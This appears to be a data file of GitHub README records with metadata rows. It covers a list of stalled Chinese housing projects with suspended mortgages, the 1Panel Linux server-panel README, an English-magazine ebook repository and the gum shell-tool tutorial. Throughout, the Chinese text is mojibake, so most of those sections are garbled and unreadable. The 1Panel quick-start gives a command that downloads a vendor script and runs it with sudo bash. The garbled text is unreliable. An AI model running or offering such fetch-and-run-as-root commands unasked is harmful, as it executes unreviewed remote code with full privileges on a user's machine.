ๆฒณๅ็-้ๅทๅธ-ๅจ้พๅฐๅ13ๅทๆฅผ๏ผ10ๆๅบไธๆ็ๅฐพไธๅนดๅ่ดท๏ผ
</details>
<details>
<summary><b> ้ๅทๆฐธๆๆง่ก้ๅขๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆฒณๅ็-้ๅทๅธ-ๆฐธๆ็ๆณไธ็ไธๆ๏ผ9ๆ๏ผ
</details>
<details>
<summary><b> ็ฝฎไฟก้ๅข ใ1ใ</b></summary>
ๅๅท็-ๆ้ฝๅธ-็ฝฎไฟก้ธ้ฝๅ๏ผ9ๆ๏ผ
</details>
<details>
<summary><b> ไธญ้ผ้ๅข ใ3ใ</b></summary>
ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ-ๅๅฎๅธ-ไธ้ผ้ๅๅบ๏ผ9ๆ๏ผ,<br>
ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ-ๅๅฎๅธ-ไธญ้ผๅ
ฌๅญๅบ,<br>
ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ-็ๆๅธ-ไธญ้ผ็ปฟๅไธญๅฟ
</details>
<details>
<summary><b> ไธญๆตทๅฐไบง้ๅขๆ้่ดฃไปปๅ
ฌๅธ ใ1ใ</b></summary>
ๅๅท็-ๆ้ฝๅธ-ไธ้ฆ็ๅฒธ2ๆ๏ผ8ๆ๏ผ
</details>
<details>
<summary><b> ไธญไบคๅฐไบง่กไปฝๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๅไบฌๅธ-ๆ้ณๅบ-ไธไธ้ก๏ผๆพๆฆๆฏ่๏ผ
</details>
<details>
<summary><b> ไธญๆถฆๆง่ก้ๅข๏ผไธญๅฝ๏ผๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆตๆฑ็-ๆญๅทๅธ-ไธญๆถฆ็็ๅ
ฌ้ฆ
</details>
<details>
<summary><b> ไธญๅคฉๅๆ้ๅขไนๅฝๆฟๅฐไบงๅผๅๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
่ดตๅท็-่ดต้ณๅธ-ไธญๅคฉยทๅพไนก
</details>
<details>
<summary><b> ไผ็พๆ่ต้ๅขๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆฒณๅ็-็ณๅฎถๅบๅธ-ไผ็พๅฎๅถๅนฟๅบ
</details>
<details>
<summary><b> ๆ ชๆดฒ่ฏๅปบๆฟๅฐไบงๅผๅๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆนๅ็-ๆ ชๆดฒๅธ-่ฏๅปบๆช้ฆๅฑฑ
</details>
<details>
<summary><b> ๆ ชๆดฒๅๆจๆฟๅฐไบงๅผๅๆ้่ดฃไปปๅ
ฌๅธ ใ4ใ</b></summary>
ๆนๅ็-ๆ ชๆดฒๅธ-ๅๆจๆ ผๆๆฐดๅฒธไบไธๆ,<br>
ๆนๅ็-ๆ ชๆดฒๅธ-ๅๆจ้ๆฐดๆนพไธๅๆ,<br>
ๆนๅ็-ๆ ชๆดฒๅธ-ๅๆจ็ฅๅๅบ,<br>
ๆนๅ็-ๆ ชๆดฒๅธ-ๅๆจ็ฅๅๆนพ
</details>
<details>
<summary><b> ๆ ชๆดฒๅกๅฑฑๆฟๅฐไบงๅผๅๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆนๅ็-ๆ ชๆดฒๅธ-ไธๆไธญๅฟ1ๆ
</details>
<details>
<summary><b> ้ฉป้ฉฌๅบๅธๆฏๅฎ็ฝฎไธๆ้ๅ
ฌๅธ ใ1ใ</b></summary>
ๆฒณๅ็-้ฉป้ฉฌๅบๅธ-้ๅนณๅฟ็ปฟๅฐ่
</details>
<details>
<summary><b> ๅบๅ้ๅข ใ1ใ</b></summary>
ๆฑ่ฅฟ็-่ไนกๅธ-ๅบๅไธญๅคฎๅๅบ๏ผ10ๆ๏ผ
</details>
## ๅ
ถไปๆๅ
- ๅฑฑไธ-้ๅฒ-้ปๅฒ่ๅ็ขงๆกๅญ็ ๅฑฑ้ก ไปฅ็ซๆ
ไธบ็็ฑๅปถๆไบคๆฟ ็ฎๅไป
ๅ ไธชๅทฅไบบๅจ็ฃจๆดๅทฅ
- ๆขๆบชๆฌๆบ(ๅบๆฌๅๅทฅ), ๅไฟกๅ็ซๆน(ๅๅทฅไธๅนดๅค),ๆฐๅ็ฟก็ฟ ๆนพ, ๆขๆบชๅฎ้ธ(ๅๅทฅๅๅนด)๏ผ่ง๏ผ[#900](https://github.com/WeNeedHome/SummaryOfLoanSuspension/pull/900)
- ๅๅท็-้ฝๆฑๅ ฐๅธ-ๆๅคงไบ้ฆๅๅบญ๏ผ9ๆ๏ผ๏ผ็ผบๅ็ฅไนฆ๏ผ
- ๆฒณๅ-้ขๅฐ-็้กบๅฃนๅท้ข๏ผ่ง๏ผ[#940](https://github.com/WeNeedHome/SummaryOfLoanSuspension/pull/940)
- [่ดตๅทไธญๅคฉๆชๆฅๆน่็ฏ็่ฐทC1็ปๅข็ๅฐพ](others/ไธญๅคฉๆชๆฅๆน่็ฏ็่ฐทC1็ปๅข.jpeg)
๏ผ่ฟๆฅผ็ๅๅทฅไธคๅนดไบ๏ผไธญๅคฉๅๆๅทฒ็ป่ขซๆฅ็ฎก๏ผ5ๆไปฝๅปบไบ็พคๅไธไธปๅ่ฐ๏ผๅบ่ฏฅๆฏๆฒกๅ็ฅไนฆ็ไบ๏ผhttp://sc.house.hexun.com/News/details/id/198910.html
ใๅ
ทไฝ่ง๏ผ[#828](https://github.com/WeNeedHome/SummaryOfLoanSuspension/pull/828)
- [ๆนๅ็ๆๅคงไพๅบๅใๅฐๅพฎไผไธๆญ่ดทๅๅทฅๅ็ฅไนฆ](others/ๆนๅ็ๆๅคงไพๅบๅใๅฐๅพฎไผไธๆญ่ดทๅๅทฅๅ็ฅไนฆ.png)
- ๆนๅ็ๆๅคง็งๆๆ
ๆธธๅ5ๅทๅฐๅ้พๆไธๅนดๆชไบคไป๏ผๆฟๅบไธ็ญ็ญๅบ8/10ไบคไป 2ๆ ๆฅผ๏ผๅคฑไฟกใๆดไธช5ๅทๅฐๅ้ขไผฐ่ฏด11ๆไบคไป
- ่ตฃๆฆๅบ้ฆๆธฏๅใๅไธญ้กๅบ็ญ๏ผ่ฟไบ็ๅทฒๆๅๅนดไปฅไธๅๅฒ๏ผไธ็ฅ้็ธๅ
ณไธไธปๅฉ็ๆฏๅฆ่งฃๅณ๏ผๅ ๆญคๅๆญคๆบไผไนๆพไธๆฅใๅ
ทไฝ่ง๏ผ[ๅคงๅฎถๆฅ่ฏด่ฏด่ตฃๆฆ็็ๅฐพๆฅผ_่ตฃๆฆๅง_็พๅบฆ่ดดๅง.pdf](others/ใๅพ็ใๅคงๅฎถๆฅ่ฏด่ฏด่ตฃๆฆ็็ๅฐพๆฅผ_่ตฃๆฆๅง_็พๅบฆ่ดดๅง.pdf)
ใๅ่ๆฅๆบ๏ผhttps://tieba.baidu.com/p/4710142504
- ๆฒณๅ็-ๅไธๅธ-้ธฟๅฑฑ็พๆฏ [ๅพ](https://user-images.githubusercontent.com/110381329/182118827-41b3e82a-0201-4254-8025-6ee729dcb23f.PNG)
- ๆฒณๅ็-้ฏ้ธๅธ-ๅๆนๅฐๆฐดๆนพ [#65](https://github.com/WeNeedHome/SummaryOfLoanSuspension/pull/65)
- ๆฒณๅ็-ไธๆฒณๅธ-ๅคฉๆดๅๅๅฟๅ๏ผๆฐดๅฒธ่ฑ่ฏญ๏ผ็พไธ้่ฐทไบงไธๅบๅฐไบๆ 3ไธช็ๅฐพๅฐๅบ [#110](https://github.com/WeNeedHome/SummaryOfLoanSuspension/pull/110)
- ๆนๅ็-้ป็ณๅธ-้ป็ณๅนฟๅบ๏ผๅผๅๅๅทฒ็ ดไบง๏ผ [#134](https://github.com/WeNeedHome/SummaryOfLoanSuspension/pull/134) [ๅพไธ](https://raw.githubusercontent.com/WeNeedHome/SummaryOfLoanSuspension/c798e3a792f58be11a522e1f024777e5cf27c56c/images/%E9%BB%84%E7%9F%B3%E5%B8%82%E9%BB%84%E7%9F%B3%E5%B9%BF%E5%9C%BA%E5%BC%80%E5%8F%91%E5%95%86%E7%A0%B4%E4%BA%A7%E7%83%82%E5%B0%BE%E5%9B%BE%E4%B8%80.png) [ๅพไบ](https://raw.githubusercontent.com/WeNeedHome/SummaryOfLoanSuspension/c798e3a792f58be11a522e1f024777e5cf27c56c/images/%E9%BB%84%E7%9F%B3%E5%B8%82%E9%BB%84%E7%9F%B3%E5%B9%BF%E5%9C%BA%E5%BC%80%E5%8F%91%E5%95%86%E7%A0%B4%E4%BA%A7%E7%83%82%E5%B0%BE%E5%9B%BE%E4%BA%8C.png)
- ๆฒณๅ็-ไฟๅฎๅธ-ๆถๆฐดๆฐๅๅ้ถๅไบบๆๅฎถๅญ [#159](https://github.com/WeNeedHome/SummaryOfLoanSuspension/pull/159)
- ๅคฉๆดฅๅธ-[ๅๅผๅบๅๅฎพ่ทฏๅฐ้Bๅฃ่ฅฟไพง-่ๅๅฎธ้ข๏ผๅๅทๅญ๏ผ](https://raw.githubusercontent.com/WeNeedHome/SummaryOfLoanSuspension/53d4a3fd467974d86d727ff3151132c67b4e8493/images/%E5%8D%97%E5%BC%80%E5%8C%BA%E8%9E%8D%E5%88%9B%E5%AE%B8%E9%99%A2.jpg)๏ผ[่ฅฟ้ๅบๆดฅๅๅ
ฌ่ทฏไธๅญ็ๆกฅไบคๅฃ-่ๅ
้็ปตๅๅฒ](https://raw.githubusercontent.com/WeNeedHome/SummaryOfLoanSuspension/53d4a3fd467974d86d727ff3151132c67b4e8493/images/%E8%A5%BF%E9%9D%92%E5%8C%BA%E9%9B%8D%E7%BB%B5%E5%8D%8A%E5%B2%9B.jpg) ไธคไธช็ๅฐพๆฅผ [#161](https://github.com/WeNeedHome/SummaryOfLoanSuspension/pull/161)
- ๆฒณๅ็-่ฎธๆๅธ-้ๆฆๅฑฑ๏ผๅๆ้ฆๅบ๏ผๆๅคงๆฆ้พๅฐ 3ไธชๅๅทฅๆฅผ็ [#234](https://github.com/WeNeedHome/SummaryOfLoanSuspension/pull/234)
- ๆฒณๅ็-ไธ้จๅณกๅธ-่ช็งๅ๏ผๅผ้ณ็ไธ๏ผไธญๆตทๅฝ้
๏ผๆฅๅคฉๅ 4ไธช็ๅฐพ้กน็ฎ [#261](https://github.com/WeNeedHome/SummaryOfLoanSuspension/pull/261)
- ้่ฅฟ็-่ฅฟๅฎๅธ-่ด่ง้ฆๅบ [#262](https://github.com/WeNeedHome/SummaryOfLoanSuspension/pull/262)
- ๆนๅ็-ๅฎๆๅธ-ๅฎๆๅคท้ตๅบๆๅคงๅ้ฝไบๆ๏ผ2021.8ๅๅทฅ๏ผ[#269](https://github.com/WeNeedHome/SummaryOfLoanSuspension/pull/269)
- ไบๅ็-ๆๆๅธ-ๆฐธ้ซๅๅผไธญๅฟ๏ผ9ๆ๏ผ๏ผ้ฆ่บๆๆไนๅ
๏ผ10ๆ๏ผ๏ผ็ผบๅ็ฅไนฆ๏ผ [#272](https://github.com/WeNeedHome/SummaryOfLoanSuspension/pull/272)
- ๆนๅ็-ๅญๆๅธ-ไบๆขฆๅฟ่กๆณฝๆฐ้ฝ [#274](https://github.com/WeNeedHome/SummaryOfLoanSuspension/pull/274)
- ๆฑ่็-ๆฌๅทๅธ-ๆฑ้ฝๅบ้ๅฅฅๆๆๅ
ฌ้ฆ ๅผๅๅ็ ดไบง๏ผ็็ฎก่ต้ๅทฒ็ฉบ๏ผๆฅผ็่ชๅปๅนดๅทฒ็ปๅๅทฅ [ๅผๅๅๅบๆ็ณๆฅ](https://user-images.githubusercontent.com/38778288/180631681-31d1acb2-a6d5-4650-8ad4-4ddc352a9641.jpeg)
- ้ๅบๅธ-ๅ็ขๅบ-่ๅๆ ๆนๅ้ ็ๅฐพๆฅผ็
- ๆตๆฑ็-ๆญๅทๅธ-็ปฟๅฐๆๆพๆถ่(ๆจๅนฟๅ:็ปฟๅฐไบๆดฒๅ
ฌๅญ) [#292](https://github.com/WeNeedHome/SummaryOfLoanSuspension/pull/292) [ๅๅทฅๅ็ฅ](https://raw.githubusercontent.com/WeNeedHome/SummaryOfLoanSuspension/0e560306424c6adfb67f13e12d3f4a3a7c3e06ff/images/%E7%BB%BF%E5%9C%B0%E6%9F%8F%E6%BE%9C%E6%99%B6%E8%88%8D%E5%BB%B6%E6%9C%9F%E4%BA%A4%E4%BB%98%E9%80%9A%E7%9F%A5%E4%B9%A6.jpg)
- ๅฎๅพฝ็-ๅ่ฅๅธ-ๆฐ็ซๅบๆญฃ่ฃไธญๅฟ ็ฎๅ่ฏฅๅฐๅบ็้
ๅฅ้กน็ฎๅทฒ็ป็ๅฐพ๏ผไฝๅฎ
ๅทฒ็ปไบคไป้จๅ [#320](https://github.com/WeNeedHome/SummaryOfLoanSuspension/pull/320) [ๅพไธ](https://raw.githubusercontent.com/WeNeedHome/SummaryOfLoanSuspension/16f3c43cf767c2b6d3ec2c4c459c6c14e0d00e9b/images/%E5%90%88%E8%82%A5%E6%96%B0%E7%AB%99%E5%8C%BA%E6%AD%A3%E8%8D%A3%E4%B8%AD%E5%BF%83.jpeg) [ๅพไบ](https://raw.githubusercontent.com/WeNeedHome/SummaryOfLoanSuspension/16f3c43cf767c2b6d3ec2c4c459c6c14e0d00e9b/images/%E5%90%88%E8%82%A5%E6%96%B0%E7%AB%99%E5%8C%BA%E6%AD%A3%E8%8D%A3%E4%B8%AD%E5%BF%83%E7%83%82%E5%B0%BE%E6%94%BF%E5%BA%9C%E5%8F%8D%E9%A6%88.jpeg)
- ๆนๅ็-ๆญฆๆฑๅธ-็ปฟๅฐๅคง้ฝไผ [#520](https://github.com/WeNeedHome/SummaryOfLoanSuspension/pull/520)
- ๆฑ่ฅฟ็-ๆๅทๅธ-ไธไนกๅบ็บขๆ้
่ 10ๅนดๆช่ฝๅ็ๆฟไบง่ฏ [#565](https://github.com/WeNeedHome/SummaryOfLoanSuspension/discussions/565)
- ๅๅท็-ๆ้ฝๅธ-ไธญๆตท้ฆๆฑๅไบ็ไบๆ๏ผไบบๅฑ
ๆบ่ๅ [#586](https://github.com/WeNeedHome/SummaryOfLoanSuspension/pull/586)
- ้ๅบๅธ-ๅ็ขๅบ-ๅ็ขๅซๅข
็พค๏ผๅฐๅบๅๅญไธ่ฎฐๅพ๏ผๅจ้ๅบๅ็ขๅพๅบๅ๏ผ [#692](https://github.com/WeNeedHome/SummaryOfLoanSuspension/pull/692)
- ๆตๆฑ็-ๆญๅทๅธ-็ปฟๅฐไผๅฎๅฎธ็้๏ผๅทฒ็ปๆ๏ผ [#718](https://github.com/WeNeedHome/SummaryOfLoanSuspension/pull/718) [็ปฟ่ป็ฝฎไธๅ
ฌๅ](https://user-images.githubusercontent.com/16377295/179204666-6df50f70-0e5f-401f-929b-b1de3dac2637.png)
- ้่ฅฟ็-ๅธ้ณๅธ-[่ๅๅพกๆฒณๅฎธ้ขDK6](https://github.com/WeNeedHome/SummaryOfLoanSuspension/blob/ae61f72dd4d54b63c32b1ffa65d78d17fde2c5f8/images/%E9%99%95%E8%A5%BF%E7%9C%81/%E5%92%B8%E9%98%B3%E5%B8%82/%E5%92%B8%E9%98%B3%E8%9E%8D%E5%88%9B%E5%BE%A1%E6%B2%B3%E5%AE%B8%E9%99%A2DK6%E5%85%A8%E4%BD%93%E4%B8%9A%E4%B8%BB%E5%81%9C%E8%B4%A7%E5%91%8A%E7%9F%A5%E4%B9%A6.png)๏ผๅทฒ็ปๆ๏ผ [2023/12็ๅฝๅฟๅฎถไนฆ](https://mp.weixin.qq.com/s/ZX6n0dz5Ali-DzgShoQfBA)
- ๅนฟ่ฅฟ็-ๅๅฎๅธ-ๅฝไปฃ้ฆๅญ3ใ5ๅทๆฅผ [#896](https://github.com/WeNeedHome/SummaryOfLoanSuspension/pull/896)
- ไบๅ็-ๆๆๅธ-ๅซๆ ทๅนธ็ฆๅ [#925](https://github.com/WeNeedHome/SummaryOfLoanSuspension/discussions/925)
- ๅนฟไธ็-ๆฑๅคดๅธ-ๆๅคง้็ขงๆฑๆนพ6ๆ [#993](https://github.com/WeNeedHome/SummaryOfLoanSuspension/discussions/993) [ๅพ](https://user-images.githubusercontent.com/50266660/180631384-35f3a5da-97e8-4dcf-a98a-9ecf66c0823c.jpg)
- ๅนฟไธ็-ๆทฑๅณๅธ-็็ฐไฝณๅ
ไธๅพก็ไฝณๅญๅนฟๅบ [#1003](https://github.com/WeNeedHome/SummaryOfLoanSuspension/pull/1003)
- ็ฆๅปบ็-ๅปบ็ฏๅธ-ๆๅคงๆบชๅฑฑๅ
ฌ้ฆ [#1062](https://github.com/WeNeedHome/SummaryOfLoanSuspension/discussions/1062)
- ไบๅ็-่ฅฟๅ็็บณๅฃๆ่ชๆฒปๅท-่ๅๆ
ๆธธๅบฆๅๅบ [#558](https://github.com/WeNeedHome/SummaryOfLoanSuspension/discussions/558)
- ๆนๅ็-่ฅ้ณๅธ-่ๅๆฐๅๅพกๆนๅฃนๅท ็ๅฐพไบ ๅทฒ็ปๅผๅงๅจ้จๅฃๆๆจชๅน
ไบ [comment](https://github.com/WeNeedHome/SummaryOfLoanSuspension/discussions/1134#discussioncomment-3452874)
- ๆฒณๅ็-้ๅทๅธ-้็งๆๆพๅญ [comment](https://github.com/WeNeedHome/SummaryOfLoanSuspension/discussions/423#discussioncomment-3152066)
- ๆฑ่็-่ๅทๅธ-ๆๅคงๆฆ็ๆนพ ๅ
ซๆๅบไบคๆฟไธไบคๆฟๅฐฑๅ่ดท [comment](https://github.com/WeNeedHome/SummaryOfLoanSuspension/discussions/6#discussioncomment-3256616)
- ๅๅท็-ๆ้ฝๅธ-้พๆณ-ๅนธ็ฆไธๆน็ฝๆกฆๆ [#1190](https://github.com/WeNeedHome/SummaryOfLoanSuspension/discussions/1190)
- ๆนๅ็-ๆญฆๆฑๅธ-ๆฑๅฒธๅบๆๆนๆนพ [#1195](https://github.com/WeNeedHome/SummaryOfLoanSuspension/pull/1195)
- ๅฑฑ่ฅฟ็-ๅคชๅๅธ-้ณๅ
ๅๅนถๅทๅบ [#1200](https://github.com/WeNeedHome/SummaryOfLoanSuspension/pull/1200)
| ๅ
จๅฝๅ็ๅธๅ่ดท้็ฅๆฑๆป | null | 0 | 137 | 519 | 1,080 | 0 | 2 | 1 |
1Panel-dev/1Panel | <p align="center"><a href="https://1panel.cn"><img src="http://1panel.oss-cn-hangzhou.aliyuncs.com/img/1panel-logo.png" alt="1Panel" width="300" /></a></p>
<p align="center"><b>็ฐไปฃๅใๅผๆบ็ Linux ๆๅกๅจ่ฟ็ปด็ฎก็้ขๆฟ</b></p>
<p align="center"><a href="https://hellogithub.com/repository/71791baf930149ac9b84e1acf186573f" target="_blank"><img src="https://api.hellogithub.com/v1/widgets/recommend.svg?rid=71791baf930149ac9b84e1acf186573f&claim_uid=p8vB3kP5CMrthiL&theme=dark&theme=neutral" alt="Featured๏ฝHelloGitHub" style="width: 250px; height: 54px;" width="250" height="54" /></a></p>
<p align="center">
<a href="https://www.gnu.org/licenses/gpl-3.0.html"><img src="https://shields.io/github/license/1Panel-dev/1Panel?color=%231890FF" alt="License: GPL v3"></a>
<a href="https://app.codacy.com/gh/1Panel-dev/1Panel?utm_source=github.com&utm_medium=referral&utm_content=1Panel-dev/1Panel&utm_campaign=Badge_Grade_Dashboard"><img src="https://app.codacy.com/project/badge/Grade/da67574fd82b473992781d1386b937ef" alt="Codacy"></a>
<a href="https://github.com/1Panel-dev/1Panel/releases"><img src="https://img.shields.io/github/v/release/1Panel-dev/1Panel" alt="GitHub release"></a>
<a href="https://github.com/1Panel-dev/1Panel"><img src="https://img.shields.io/github/stars/1Panel-dev/1Panel?color=%231890FF&style=flat-square" alt="GitHub Stars"></a>
<a href="https://gitee.com/fit2cloud-feizhiyun/1Panel"><img src="https://gitee.com/fit2cloud-feizhiyun/1Panel/badge/star.svg?theme=gvp" alt="Gitee Stars"></a><br>
[<a href="docs/README_TW.md">ไธญๆ(็น้ซ)</a>] | [<a href="docs/README_EN.md">English</a>] | [<a href="docs/README_JP.md">ๆฅๆฌ่ช</a>]
</p>
[](https://www.bilibili.com/video/BV1Mt421n7LZ/)
------------------------------
## ไปไนๆฏ 1Panel๏ผ
1Panel ๆฏๆฐไธไปฃ็ Linux ๆๅกๅจ่ฟ็ปด็ฎก็้ขๆฟใ
- **้ซๆ็ฎก็**๏ผ็จๆทๅฏไปฅ้่ฟ Web ๅพๅฝข็้ข่ฝปๆพ็ฎก็ Linux ๆๅกๅจ๏ผๅฎ็ฐไธปๆบ็ๆงใๆไปถ็ฎก็ใๆฐๆฎๅบ็ฎก็ใๅฎนๅจ็ฎก็็ญๅ่ฝ๏ผ
- **ๅฟซ้ๅปบ็ซ**๏ผๆทฑๅบฆ้ๆๅผๆบๅปบ็ซ่ฝฏไปถ WordPress ๅ [Halo](https://github.com/halo-dev/halo/)๏ผๅๅ็ปๅฎใSSL ่ฏไนฆ้
็ฝฎ็ญๆไฝไธ้ฎๆๅฎ๏ผ
- **ๅบ็จๅๅบ**๏ผ็ฒพ้ไธๆถๅ็ฑป้ซ่ดจ้็ๅผๆบๅทฅๅ
ทๅๅบ็จ่ฝฏไปถ๏ผๅๅฉ็จๆท่ฝปๆพๅฎ่ฃ
ๅนถๅ็บง๏ผ
- **ๅฎๅ
จๅฏ้ **๏ผๅบไบๅฎนๅจ็ฎก็ๅนถ้จ็ฝฒๅบ็จ๏ผๅฎ็ฐๆๅฐ็ๆผๆดๆด้ฒ้ข๏ผๅๆถๆไพ้ฒ็ซๅขๅๆฅๅฟๅฎก่ฎก็ญๅ่ฝ๏ผ
- **ไธ้ฎๅคไปฝ**๏ผๆฏๆไธ้ฎๅคไปฝๅๆขๅค๏ผ็จๆทๅฏไปฅๅฐๆฐๆฎๅคไปฝๅฐๅ็ฑปไบ็ซฏๅญๅจไป่ดจ๏ผๆฐธไธไธขๅคฑใ
## ๅฟซ้ๅผๅง
**ไธ้ฎๅฎ่ฃ
**
ๆง่กๅฆไธๅฝไปคไธ้ฎๅฎ่ฃ
1Panel:
```sh
curl -sSL https://resource.fit2cloud.com/1panel/package/quick_start.sh -o quick_start.sh && sudo bash quick_start.sh
```
ๅฆๆๆฏ็จไบ็ฆป็บฟ็ฏๅข๏ผๆจ่ไฝฟ็จ [ๅฎ่ฃ
ๅ
ๆนๅผ](https://1panel.cn/docs/installation/package_installation/) ่ฟ่กๅฎ่ฃ
้จ็ฝฒใ
**ๅญฆไน ่ตๆ**
- [ๅจ็บฟๆๆกฃ](https://1panel.cn/docs/)
- [็คพๅบ่ฎบๅ](https://bbs.fit2cloud.com/c/1p/7)
- [ๅฆไฝๅ ๅ
ฅๅพฎไฟกไบคๆต็พค?](https://bbs.fit2cloud.com/t/topic/2147)
## ้ฃ่ดไบ็ๅ
ถไปๆๆ้กน็ฎ
- [MaxKB](https://github.com/1Panel-dev/MaxKB/) - ๅบไบ LLM ๅคง่ฏญ่จๆจกๅ็ๅผๆบ็ฅ่ฏๅบ้ฎ็ญ็ณป็ป
- [JumpServer](https://github.com/jumpserver/jumpserver/) - ๅนฟๅๆฌข่ฟ็ๅผๆบๅ กๅๆบ
- [Halo](https://github.com/halo-dev/halo/) - ๅผบๅคงๆ็จ็ๅผๆบๅปบ็ซๅทฅๅ
ท
- [DataEase](https://github.com/dataease/dataease/) - ไบบไบบๅฏ็จ็ๅผๆบๆฐๆฎๅฏ่งๅๅๆๅทฅๅ
ท
- [MeterSphere](https://github.com/metersphere/metersphere/) - ๅผๆบ่ชๅจๅๆต่ฏๅนณๅฐ
## License
Copyright (c) 2014-2024 [FIT2CLOUD ้ฃ่ดไบ](https://fit2cloud.com/), All rights reserved.
Licensed under The GNU General Public License version 3 (GPLv3) (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at
<https://www.gnu.org/licenses/gpl-3.0.html>
Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
| ๐ฅ ๐ฅ ๐ฅ ็ฐไปฃๅใๅผๆบ็ Linux ๆๅกๅจ่ฟ็ปด็ฎก็้ขๆฟใ | appstore,database,docker,docker-compose,lamp,lnmp,panel,crontab,docker-container,docker-image | 64 | 67 | 2,195 | 2,809 | 493 | 16 | 8 |
hehonghui/awesome-english-ebooks | # ็ปๆตๅญฆไบบใ็บฝ็บฆๅฎข็ญ่ฑ่ฏญๅคๅๆๅฟไธ่ฝฝ
---------------------
## ไธใไผ่ดจAppๆจ่
* <img align="center" src="https://ereader.link/images/ereader.png" width="32px" /> ่ฑ้
้
่ฏปๅจ - ่ถ
ๅฅฝ็จ็่ฑ่ฏญ้
่ฏป็ฅๅจ, <font color="#e3120b">่ฎฉๆจ่ฝปๆพ่ฏปๆ่ฑๆๅฐ่ฏดใๅคๅๆๅฟ</font>,ๆฏๆ็นๅปๆฅ่ฏใๅฅๅญ็ฟป่ฏใmdict่ฑๆฑ-่ฑ่ฑ่ฏๅ
ธใ้
่ฏป็ฌ่ฎฐ็ญๅ่ฝ,[iOS็ไธ่ฝฝ](https://apps.apple.com/cn/app/ereader-%E8%8B%B1%E9%98%85%E9%98%85%E8%AF%BB%E5%99%A8/id1558805880)ใ[Android็ไธ่ฝฝ](https://www.coolapk.com/apk/283424);
---------------------
## ไบใๅ
ๅฎนๅ็ฑป
* [็ปๆตๅญฆไบบ - ๅจๅ, ็นๅป่ฟ้ไธ่ฝฝๆๆฐไธๆ](01_economist/te_2024.06.22) , ๆฏๅจไบๅไธ็นๆดๆฐ
* [็บฝ็บฆๅฎข - ๅจๅ, ็นๅป่ฟ้ไธ่ฝฝๆๆฐไธๆ](02_new_yorker/2024.06.24) , ๆฏๅจๅ
ญไธๅๆดๆฐ
* [ๅซๆฅ - ๆฏๅจไธคๆ](09_guardian/), ๆฏๅจไธใๅจๆฅๆดๆฐ
* [The Atlantic - ๆๅ](04_atlantic), ๆฏๆ2ๅทๆดๆฐ
* [Wired - ๆๅ](05_wired), ๆฏๆ2ๅทๆดๆฐ
**ๅฆไฝ้ๆฉๆๅฟ ? ่ฏทๅ่ไธ้ขไธค็ฏๆ็ซ **
* [่็ ่ฑ่ฏญ้ขๆบๅๆ๏ผ็็้ข็ฎๆฅ่ชไบๅช้](https://zhuanlan.zhihu.com/p/25051680)
* [2018่ฑ่ฏญๅคๅๅคงๅ้](https://zhuanlan.zhihu.com/p/54181221)
-------------------------------------
## ไธใๅ
ถไป้
่ฏปๅจ
1. epub ๆ ผๅผ็็ตๅญไนฆๅฏไปฅๅฎ่ฃ
[ๅค็้
่ฏป](https://www.duokan.com/product) , ้่ฟ `wifiไผ ไนฆๅ่ฝ` ้่ฟๆต่งๅจๅฐ็ตๅญไนฆไผ ๅ
ฅๅฐ้
่ฏปๅจไธญ, ็ถๅๅฐฑๅฏไปฅ่ฟ่ก้
่ฏป;
2. mobi ๆ ผๅผ็็ตๅญไนฆ้่ฆไฝฟ็จ `kindle่ฎพๅค` ๆ่
ๅจ็ต่ใๆๆบไธๅฎ่ฃ
[kindle ้
่ฏปapp](https://www.amazon.cn/kindle-dbs/fd/kcp/ref=sv_kinc_0)
| ็ปๆตๅญฆไบบ(ๅซ้ณ้ข)ใ็บฝ็บฆๅฎขใๅซๆฅใ่ฟ็บฟใๅคง่ฅฟๆดๆๅ็ญ่ฑ่ฏญๆๅฟๅ
่ดนไธ่ฝฝ,ๆฏๆepubใmobiใpdfๆ ผๅผ, ๆฏๅจๆดๆฐ | download,ebooks,economist,economist-ebooks,new-yorker,pdf | 0 | 1 | 3 | 114 | 0 | 1 | 0 |
charmbracelet/gum | Gum
===
<p>
<a href="https://stuff.charm.sh/gum/nutritional-information.png" target="_blank"><img src="https://stuff.charm.sh/gum/gum.png" alt="Gum Image" width="450" /></a>
<br><br>
<a href="https://github.com/charmbracelet/gum/releases"><img src="https://img.shields.io/github/release/charmbracelet/gum.svg" alt="Latest Release"></a>
<a href="https://pkg.go.dev/github.com/charmbracelet/gum?tab=doc"><img src="https://godoc.org/github.com/golang/gddo?status.svg" alt="Go Docs"></a>
<a href="https://github.com/charmbracelet/gum/actions"><img src="https://github.com/charmbracelet/gum/workflows/build/badge.svg" alt="Build Status"></a>
</p>
A tool for glamorous shell scripts. Leverage the power of
[Bubbles](https://github.com/charmbracelet/bubbles) and [Lip
Gloss](https://github.com/charmbracelet/lipgloss) in your scripts and aliases
without writing any Go code!
<img alt="Shell running the ./demo.sh script" width="600" src="https://vhs.charm.sh/vhs-1qY57RrQlXCuydsEgDp68G.gif">
The above example is running from a single shell script ([source](./examples/demo.sh)).
## Tutorial
Gum provides highly configurable, ready-to-use utilities to help you write
useful shell scripts and dotfiles aliases with just a few lines of code.
Let's build a simple script to help you write [Conventional Commits](https://www.conventionalcommits.org/en/v1.0.0/#summary)
for your dotfiles.
Ask for the commit type with gum choose:
```bash
gum choose "fix" "feat" "docs" "style" "refactor" "test" "chore" "revert"
```
> [!NOTE]
> This command itself will print to stdout which is not all that useful. To make use of the command later on you can save the stdout to a `$VARIABLE` or `file.txt`.
Prompt for the scope of these changes:
```bash
gum input --placeholder "scope"
```
Prompt for the summary and description of changes:
```bash
gum input --value "$TYPE$SCOPE: " --placeholder "Summary of this change"
gum write --placeholder "Details of this change"
```
Confirm before committing:
```bash
gum confirm "Commit changes?" && git commit -m "$SUMMARY" -m "$DESCRIPTION"
```
Check out the [complete example](https://github.com/charmbracelet/gum/blob/main/examples/commit.sh) for combining these commands in a single script.
